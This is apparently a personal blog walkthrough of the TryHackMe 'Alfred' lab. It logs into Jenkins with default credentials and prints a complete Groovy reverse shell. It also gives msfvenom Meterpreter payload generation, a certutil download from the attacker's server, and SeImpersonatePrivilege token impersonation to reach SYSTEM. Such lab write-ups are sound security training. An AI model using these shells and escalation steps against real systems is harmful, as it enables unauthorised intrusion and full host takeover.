Alfred Can't Stop this SeImpersonatePrivilege Vulnerability
This walkthrough covers the Alfred room on TryHackMe. The goal is to exploit a misconfigured Jenkins server, get a reverse shell, and then abuse the SeImpersonatePrivilege held by a low-privileged user to reach NT AUTHORITY\SYSTEM.
Step 1: Nmap
Start with a full TCP scan, including default scripts, version detection and OS detection:
nmap -sC -sV -O -p- -Pn alfred.thm --min-rate=1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 17:33 MDT
Nmap scan report for alfred.thm (10.10.70.88)
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open tcpwrapped
8080/tcp open http Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows Server 2008 R2 SP1 (87%), Microsoft Windows Server 2008 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows 7 SP1 (85%), Microsoft Windows 8.1 R1 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.82 seconds
Three ports are open: IIS on 80, RDP on 3389, and a Jetty web server on 8080.
Here's what port 80 serves:
Port 8080 is a Jenkins login, which is far more interesting:
Step 2: Logging In
Jenkins installs are often left with default credentials, and this one is no exception: admin:admin gets us in.
Step 3: Initial Foothold
Jenkins has a built-in Script Console that runs Groovy code on the server. An admin who can run arbitrary code on the host can also make that host call back with a shell, so this is our way in.
I used the Groovy reverse shell from PayloadsAllTheThings. Set host and port to your attack box and listener:
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Running it in the Script Console connects back to the attack box with a shell.
The user flag, user.txt, is in C:\Users\bruce\Desktop\.
Step 4: Upgrading to Meterpreter
A plain cmd.exe shell works, but Meterpreter makes the privesc much easier. Generate a payload with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.28.215 LPORT=1335 --format exe -o payload.exe
Serve it from the attack box, then download it on the victim with certutil:
certutil.exe -urlcache -f http://10.13.28.215:8000/payload.exe payload.exe
In msfconsole, set up a handler that matches the payload:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 1335
exploit
Run payload.exe on the victim, and the handler catches a Meterpreter session.
Step 5: Privilege Escalation
First, check what privileges this user holds:
whoami /priv
SeImpersonatePrivilege is enabled. That lets a process take on the security token of another user, and Meterpreter's incognito extension is built for exactly that.
load incognito
Impersonate the token for the built-in Administrators group:
impersonate_token "BUILTIN\Administrators"
An impersonated token doesn't always carry over to everything the session does, so the last step is to migrate into a process that already runs as SYSTEM. services.exe is a safe, stable choice. List the processes, note the PID of services.exe, and migrate into it:
ps
migrate <PID>
We're now NT AUTHORITY\SYSTEM. All that's left is grabbing the root flag.
This room was a great introduction to AD pentesting. Working through it made it clear how much ground I still have to cover before I'll feel ready to sit the PNPT from TCM Security. I hope you enjoyed this walkthrough of the Alfred room on TryHackMe, and as always, Happy Hacking.